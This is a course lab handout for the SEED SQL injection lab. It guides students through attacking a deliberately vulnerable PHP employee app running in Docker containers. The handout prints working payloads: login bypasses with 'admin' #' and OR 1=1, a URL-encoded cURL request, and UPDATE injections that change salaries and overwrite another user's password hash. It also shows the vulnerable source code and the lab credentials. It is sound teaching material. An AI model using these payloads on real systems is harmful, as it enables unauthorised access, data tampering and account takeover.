LAB: SQL Injection Attack (Ubuntu 20.04 VM)
****

Lab files:
    SQLInjection-Lab-Instructions.pdf (THIS FILE -- USE IT TO DO THIS LAB)
    Labsetup.zip (contains files required for docker containers)
    SQLInjection-Attacks-Overview.pdf (summarizes four main classes of SQL injection attacks)
    Web_SQL_Injection.pdf (lab specifications for reference purposes only)

Lab Setup:

1. Start SEEDUbuntu VM and download SQLInjection-Lab-Files.zip from Blackboard
    and unzip it.

2. Open Terminal app from the sidebar.

    It is useful to have four tabs open in the Terminal app.
    Clicking on the "+" in the top left of the Terminal window open a new tab.

    I will refer to these tabs as "Terminal 1", "Terminal 2", "Terminal 3", and "Terminal 4"

    Terminal 1: is used to run the docker containers
    Terminal 2: shell for database (MySQL) container
    Terminal 3: shell for web application container
    Terminal 4: is for all other uses

3. From Terminal 1:

    Examine the contents of /etc/hosts file using the command:

    $ cat /etc/hosts

    If the lines starting from 11 to the end of the file contain the following mappings,
    you don't have to make any changes to this file.

```
    # For SQL Injection Lab
    10.9.0.5        www.seed-server.com

    # For XSS Lab
    10.9.0.5        www.seed-server.com
    10.9.0.5        www.example32a.com
    10.9.0.5        www.example32b.com
    10.9.0.5        www.example32c.com
    10.9.0.5        www.example60.com
    10.9.0.5        www.example70.com

    # For CSRF Lab
    10.9.0.5        www.seed-server.com
    10.9.0.5        www.example32.com
    10.9.0.105      www.attacker32.com
```

    Otherwise, delete the lines from 11 to end of the file and add the above lines
    at the end of this file, starting at line 11. You can use gedit editor to do this.

     $ sudo gedit /etc/hosts

    Make sure correct changes are made to the file. Save the file and exit the editor.

4. From Terminal 1:

    Make sure you are in the SQLInjection-Lab-Files folder
    Unzip Labsetup.zip file using the command: unzip Labsetup.zip
    This should create a folder named Labsetup.

    This lab uses an employee management web application.
    Web application URL is: http://www.seed-server.com (after the docker containers start)

    This web application is configured to be vulnerable to SQL injection attacks.

    This web application is setup using two docker containers:

```
        - one for hosting the employee management web application
        - one for hosting the MySQL database for the web application.

    In the Web application container, the code for the employee management web
    application is in the folder: /var/www/SQLInjection
    (don't look for it now - we haven't started the docker containers yet)

5.  From Terminal 1: Change to Labsetup folder, remove any existing docker containers
    and images, and start the docker containers using the commands below:

    $ cd Labsetup   # to move to Labsetup folder in the SQLInjection-Lab-Files folder

    $ docker rm -vf $(docker ps -aq)        # remove any running containers
                                            # ignore errors/warnings

    $ docker rmi -f $(docker images -aq)    # remove any docker images
                                            # ignore any errors/warnings

    $ dcup      // download and start two docker containers
                // CAUTION: may give errors if this command is run with VPN turned on?
                // (on my laptop, this command caused errors with VPN on; it worked
                // when I turned off the VPN)

    You will see some output generated and two docker containers started.
    This will take a few minutes to download images and start the containers.
    Be PATIENT!

    After downloading the images and starting the containers, you should see text similar
    to the following in Terminal 1 tab: "3306 MySQL Community Server - GPL."

    You don't have to do anything within this window.
    Just leave this window alone. Don't close it.

6.  From Terminal 2: You can verify that two docker containers are running with:

    $ docker ps
    (you should see two docker containers running if all went correctly)


Task 1: Get Familiar with SQL statements and "sqllab_users" database using MySQL console
*****************************************************************************************

The employee management web application uses a database called "sqllab_users" hosted in
the MySQL docker container. This database contains a single table called "credential".

We will get familiar with the credential table using mysql client/console.

From Terminal 2:

Get a shell on the MySQL docker container using this command:

$ docksh mysql-10.9.0.6

Start MySQL console/client with this command:

# mysql -u root -pdees

mysql> show databases;

mysql> use sqllab_users;

mysql> show tables;

mysql> select * from credential;    # credential table has six rows

mysql> select * from credential where name='Alice';

FYI: Different ways to put comments in SQL statements

    1) Text from the # character to the end of a line is treated as comment
```

```
    2) Text from --b to the end of a line is treated as comment (b is whitespace)
    3) /* comment here */


Task 2: SQL Injection Attack on SELECT statement
************************************************

Task 2.1: SQL injection attack from http://www.seed-server.com/ login page
--------------------------------------------------------------------------

Start Firefox browser on SEED VM and go to http://www.seed-server.com/

First, try to login using valid username and password for admin and employee roles
to see what information is displayed.

    username: admin     password: seedadmin

    username: alice     password: seedalice

After examining the information displayed for each account above, logout.

The attacker's goal is to use the site administrator's username (which is "admin")
without the password to retrieve the information of all the employees.

Let's first examine some code in the web application container.

From Terminal 3: get a shell on the web application container using this command:

$ docksh www-10.9.0.5

The following code (some details skipped) in file /var/www/SQL_Injection/unsafe_home.php
performs the user authentication and displays employee(s) information:

$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,
        email, nickname, Password
        FROM credential
        WHERE name='$input_uname' and Password='$hashed_pwd'";

$result = $conn->query($sql);

if (id != NULL) {
    if(name == 'Admin') {
        // admin user; display information of all employees
    } else if (name != NULL) {
        // normal user; display only employee information
    }
} else {
    // authentication failed
}

Let's attack now ...

On the login page at http://www.seed-server.com/

Enter "admin' #" for USERNAME field (DO NOT enter double quotes).

No need to enter anything in the PASSWORD field (remember the attacker doesn't know
the admin's password).

As a result of the value(s) entered into the USERNAME and/or PASSWORD fields on the
login page, the following SQL statement will be executed:

SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='admin' #' and Password=''
```

The web application lets you in as admin user and displays information of all employees.

You can logout from the web application.

Next, let's try the following:

Enter "' OR 1=1 #" for USERNAME field (DO NOT enter double quotes)
We don't need to enter anything in the PASSWORD field.

As a result of the values entered into the USERNAME and PASSWORD field on login page,
the following SQL statement will be executed:

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='' OR 1=1 #' and Password=''
```

Is the attacker logged in as admin or employee?
If the attacker is logged in as an employee, who is this employee?
Why is only this employee information displayed?

You can logout from the web application.

Task 2.2: SQL injection attack from command line using cURL command-line tool

cURL is a command-line tool used for sending data over a number of network protocols,
including HTTP and HTTPS.

In Terminal 4, let's try the following URLs with cURL:

```
curl http://www.seed-server.com

curl 'http://www.seed-server.com/unsafe_home.php?username=admin&Password=seedadmin'
```

Note the URL above is placed between a pair of single quotes to prevent special
characters (such as &) from misinterpretation by the shell program.

We may also have to encode certain special characters used in the URL parameter names and
values, or they may be misinterpreted and change the meaning of your requests.

Encoding special characters in URL parameter names and values by character triplet
consisting of % followed by two hexadecimal digits:

```
    whitespace:     %20
    ' character:    %27
    # character:    %23
    ; character:    %3B
```

Let's repeat attack in Task 2.1 using cURL:

Because of special characters in URL parameter names or values, we need to encode these
characters first:

```
http://www.seed-server.com/unsafe_home.php?username=admin' #&Password=
```

With special characters encoded as shown below, try the following command:

```
curl 'http://www.seed-server.com/unsafe_home.php?username=admin%27%20%23&Password='
```

Examine the raw html code returned from the server (page with all employee details).

Task 2.3: Append a new SQL statement to turn one SQL statement into two (or more)

Semicolon (;) can be used as a separator to include more than one statement
in a SQL statement.

Attack scenario: The attacker decides to give a nickname to employee Alice.

Enter the following in the USERNAME field on the login page:

```
Alice'; update credential set nickname='Ali' where name='Alice' #
```

We don't need to enter anything in the PASSWORD field.

As a result of the value(s) entered into the USERNAME and PASSWORD fields on the login page, the following SQL statement will be executed:

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name='Alice'; update credential set nickname='Ali' where name='Alice' #' and Password=''
```

This will generate an error message because the interface between PHP and MySQL does not support multiple SQL statements in a single line. Good thing!!

Task 3: SQL Injection Attack on UPDATE statement

Task 3.1: Modify your own salary

Alice, as a disgruntled employee, wants to change her salary (Boby her boss did not give her a good salary increase) by exploiting SQL injection vulnerability in the application.

Alice logs in to her account (username: alice password: seedalice)

Terminal 3: The following code in file /var/www/SQL_Injection/unsafe_edit_backend.php edits the profile of a user.

```
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',
        address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber'
        where ID=$id;";
```

If the password field is not modified, the following SQL statement is executed:

```
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',
        address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
```

Let's attack now ...

Alice logins to her account, edits her profile, enters the following in the NickName field, and saves the changes to the profile:

```
', salary='50000
```

As a result, the following SQL UPDATE statement will be executed:

```
UPDATE credential SET nickname='', salary='50000',email='',address='',
    PhoneNumber='' where ID=$id;
```

Alice gave herself a big salary raise!

Next, what happens if she enter the following in the NickName field instead?

```
', salary=50000 #
```

Let's verify the changes made to the credential table from mysql console in the shell for the MySQL container (Terminal 2). Enter the following command at mysql> prompt:

```
select name, salary from credential;
```

Did you notice that every employee's salary is changed to $50000!

Task 3.2: Modify other people' salary

Alice wants to punish her boss Boby by reducing his salary to 1 dollar (revenge time!!)

She enters the following in the NickName field in her Edit Profile page:

', salary=1 where name='boby' #

Verify changes made to the database from mysql console (Terminal 2) using this command:

select name, salary from credential;

Task 3.3: Modify other people' password

Alice wants to change Boby's password to "attacker"

Note that password is not stored in plaintext but is hashed using SHA1 hash function.

Generate the SHA1 hash of string "attacker" at https://codebeautify.org/sha1-hash-generator

SHA1 hash value of string "attacker" is: 52E51CF3F58377B8A687D49B960A58DFC677F0AD

Now, Alice logs in and enters the following in the NickName field in Edit Profile page:

', password='52E51CF3F58377B8A687D49B960A58DFC677F0AD' where name='boby' #

Verify changes made to the database from mysql console (Terminal 2) using this command:

select name, password from credential where name='Boby';

Now Alice can login to boby's account using "boby" and "attacker" for username and password fields.

Task 4: Implementing countermeasure using "Prepared Statement" to execute SQL queries
****

The fundamental problem of the SQL injection vulnerability is the failure to separate code from data (i.e., the violation of principle of isolation).

Solution: Use "SQL Prepared Statements" to counter SQL injection attacks to treat input entered in various fields in the form strictly as data.

With prepared statement approach, the SQL query is pre-compiled into binary with empty placeholders (parameters) for data. The data supplied from a Web form will be treated strictly as data without any special meaning.

WE WILL SKIP THIS TASK as it involves making changes to a specific php file either on the web application or mysql container and/or restarting the web application container after making changes to the php file.

However, it is IMPORTANT to read section 14.5 on "Countermeasures" to understand how to protect against SQL injection attacks.

Clean up and wrap up the lab
****

1. In Terminal 2:

    mysql> quit;   // to quit mysql client/console

    # exit   // to exit MySQL container shell

    $ exit   // to close terminal 2 window

2. In Terminal 3:

    # exit   // to exit web application container shell

```
    $ exit              // to close terminal 3 window

3. In Terminal 4: (assumes you are in the Labsetup folder)

    $ docker ps         // shows the list of docker contains running
    $ dcdown            // to stop and remove the docker containers
    $ docker rmi -f $(docker images -aq) // remove the docker images
    $ exit              // to close terminal 4 window

4. In Terminal 1:

    $ exit              // to close terminal 1 window


************  END OF SQL INJECTION ATTACK LAB  ************
```